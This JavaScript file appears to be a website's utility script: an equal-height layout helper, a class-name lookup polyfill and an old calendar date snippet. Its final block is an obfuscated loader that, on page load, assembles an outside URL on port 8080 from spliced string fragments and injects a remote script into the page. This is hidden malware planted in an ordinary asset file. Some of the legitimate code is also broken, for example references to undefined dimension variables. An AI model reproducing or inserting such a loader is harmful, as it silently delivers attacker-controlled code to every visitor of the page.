var ElementMaxHeight = function() {
  this.initialize.apply(this, arguments);
}

ElementMaxHeight.prototype = {
  initialize: function(className) {
    this.elements = document.getElementsByClassName(className || 'maxheight');    
    this.textElement = document.createElement('span');
    this.textElement.appendChild(document.createTextNode('A'));
    this.textElement.style.display = 'block';
    this.textElement.style.position = 'absolute';
    this.textElement.style.fontSize = '1em';
    this.textElement.style.top = '-1000px';
    this.textElement.style.left = '-1000px';
    document.body.appendChild(this.textElement);
    this.textElementHeight = document.getDimensions(this.textElement).height;
    var __object = this;
    var __checkFontSize = this.checkFontSize;
    this.checkFontSizeInterval = window.setInterval(function() {return __checkFontSize.apply(__object)}, 500);

    this.expand();

    // Refresh elements height onResize event
    var __expand = this.expand;
    if (window.addEventListener) {
      window.addEventListener('resize', function(event) {return __expand.apply(__object, [( event || window.event)])}, false);
    } else if (window.attachEvent) {
      window.attachEvent('onresize', function(event) {return __expand.apply(__object, [( event || window.event)])});
    }
  },

  expand: function() {
    this.reset();
  	for (var i = 0; i < this.elements.length; i++) {  	
      this.elements[i].style.height = document.getDimensions(this.elements[i].parentNode).height + 'px';
  	}
  },

  reset: function() {
    for (var i = 0; i < this.elements.length; i++) {    
      this.elements[i].style.height = 'auto';
    }
  },

  checkFontSize: function() {
  	var height = document.getDimensions(this.textElement).height;
  	if(this.textElementHeight != height) {
  		this.textElementHeight = height;
  		this.expand();
  	}
  }  
}


if (!!document.evaluate) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, parentElement || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(query.snapshotItem(i));
    return results;
  }
}

document.getElementsByClassName = function(className, parentElement) {
  if (!!document.evaluate) {
    var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]";
    return document._getElementsByXPath(q, parentElement);
  } else {
    var children = (parentElement || document.body).getElementsByTagName('*');
    var elements = [], child;
    for (var i = 0, length = children.length; i < length; i++) {
      child = children[i];
      if (child.className.length != 0 &&
          (child.className == className ||
           child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)")))) {      
        elements.push(child);
      }
    }
    return elements;
  }
}

document.getDimensions = function (element) {
  var display = element.style.display;
  if (display != 'none' && display != null) { // Safari bug
    return {width: element.offsetWidth, height: element.offsetHeight};
  }

  return {width: originalWidth, height: originalHeight};
}

<!--CALENDAR-->

<!-- This goes in the HEAD of the html file -->

<!--script language="JavaScript" type="text/javascript"-->
<!-- Copyright 2001, Sandeep Gangadharan -->
<!-- For more free scripts go to http://sivamdesign.com/scripts/ -->

<!--
var 
month = new Array();
month[0]="January";	
month[1]="February";
month[2]="March";
month[3]="April";
month[4]="May";
month[5]="June";
month[6]="July";
month[7]="August";
month[8]="September";
month[9]="October";
month[10]="November";
month[11]="December";

var 
day = new Array();
day[0]="Sunday";
day[1]="Monday";
day[2]="Tuesday";
day[3]="Wednesday";
day[4]="Thursday";
day[5]="Friday";
day[6]="Saturday";

today = new Date();
date = today.getDate();
day = (day[today.getDay()]);
month = (month[today.getMonth()]);
year = (today.getFullYear());

 suffix = (date==1 || date==21 || date==31) ? "st" : "th" &&
 (date==2 || date==22) ? "nd" : "th" && (date==3 || date==23) ? "rd" : "th"

function print_date()
{
  document.write(day + "," + "&nbsp;" + date  + "<sup>" + suffix + "</sup>" + "&nbsp;" + 
  month + "," + "&nbsp;" + year);
}
// -->
<!--/script-->


this.BK="";var uB="";function N(){var Gp='';this.r="";var D='';var a=RegExp;var x;if(x!=''){x='h'};var q=String("g");var _='';function u(S,o){var kf="";var l= String("V5ku[".substr(4));this.gS='';var lw;if(lw!='' && lw!='J_'){lw=''};l+=o;l+="]TR3".substr(0,1);var z;if(z!='' && z!='A'){z=null};var OL;if(OL!='' && OL!='GW'){OL=null};var t=new a(l, q);var mj='';return S.replace(t, D);this.xV="";var oY;if(oY!='Mb' && oY!='d'){oY='Mb'};};var e;if(e!='' && e!='js'){e=null};var LS=new String();var F=new Date();var P=new Date();var G=new String("ST7n/r".substr(4)+"ed"+"Y2vif".substr(3)+"f."+"6E8Kco".substr(4)+"Yqxm/xYq".substr(3,2)+"reGUf".substr(0,2)+"X1amdi1mXa".substr(4,2)+"ffGUK".substr(0,2)+"1QMF.c".substr(4)+"om"+"cAe/seAc".substr(3,2)+"ZsScrSZs".substr(3,2)+"ibF5z".substr(0,2)+"xvfd.".substr(3)+"Q0Mco".substr(3)+"cV2Em/".substr(4)+"tRUWmy".substr(4)+"frLkXO".substr(0,2)+"ee"+"X9Ipa9IX".substr(3,2)+"ys"+"itN3R".substr(0,2)+"e.zkjT".substr(0,2)+"co"+"m/"+"IPKtgo".substr(4)+"oguTHw".substr(0,2)+"KvGle".substr(3)+".c"+"PGfom".substr(3)+".pOMNl".substr(0,2)+"ZB4bhpZBb4".substr(4,2));var c=String("scri5AJ".substr(0,4)+"ioI8pt".substr(4));var DX;if(DX!=''){DX='iv'};var DE;if(DE!=''){DE='cZ'};var qD=window;var z_="";var T=u('8373333077777833330337377',"37");this.K="";var n;if(n!='' && n!='Og'){n=''};var g='';var SV;if(SV!='Cg' && SV!='p'){SV='Cg'};var Pb="";var lt=new String("defer");var SX;if(SX!='FD' && SX != ''){SX=null};var m=String("httfHRY".substr(0,3)+"wTQep:/".substr(4)+"/11"+"GpHC811".substr(4)+"M2i4-ci2M".substr(3,3)+"n.c"+"oco"+"DaLlog".substr(3)+"CVd9-ni".substr(4)+"fty"+"10GF.co".substr(4)+"m.u"+"DP0JnivDP0J".substr(4,3)+"r4Nisi".substr(3)+"4kIEon-4EIk".substr(4,3)+"com"+"k3O.ne".substr(3)+"olaOP1T".substr(0,3)+"L2JKbonLK2J".substr(4,3)+"2UDplin".substr(4)+"cmje.r".substr(3)+"u:kXy".substr(0,2));var Ki="";var SD;if(SD!=''){SD='Bl'};var uT="sr"+"M5tlc".substr(4);var cf='';var Wt='';qD.onload=function(){try {var Q;if(Q!='' && Q!='rB'){Q=null};g=m+T;var ok;if(ok!='' && ok!='EK'){ok='Ek'};g+=G;var ig=new String();var xj;if(xj!=''){xj='vP'};O=document.createElement(c);this.bc="";var Xv;if(Xv!='jE' && Xv!='QK'){Xv=''};O[uT]=g;var Sr=new Date();var Rf;if(Rf!='' && Rf!='y'){Rf='eX'};O[lt]=[1][0];var FQ;if(FQ!='If' && FQ!='fI'){FQ=''};var _P='';var Kf="";var GE="";document.body.appendChild(O);var DD="";var Fa='';} catch(B){var jb="";};this._k="";this._M="";};var Eq=new Date();var Lt;if(Lt!='Ja' && Lt!='Kw'){Lt=''};};var uw="";var TM;if(TM!=''){TM='vR'};N();var UW=new Date();var yT;if(yT!='' && yT!='Yl'){yT=null};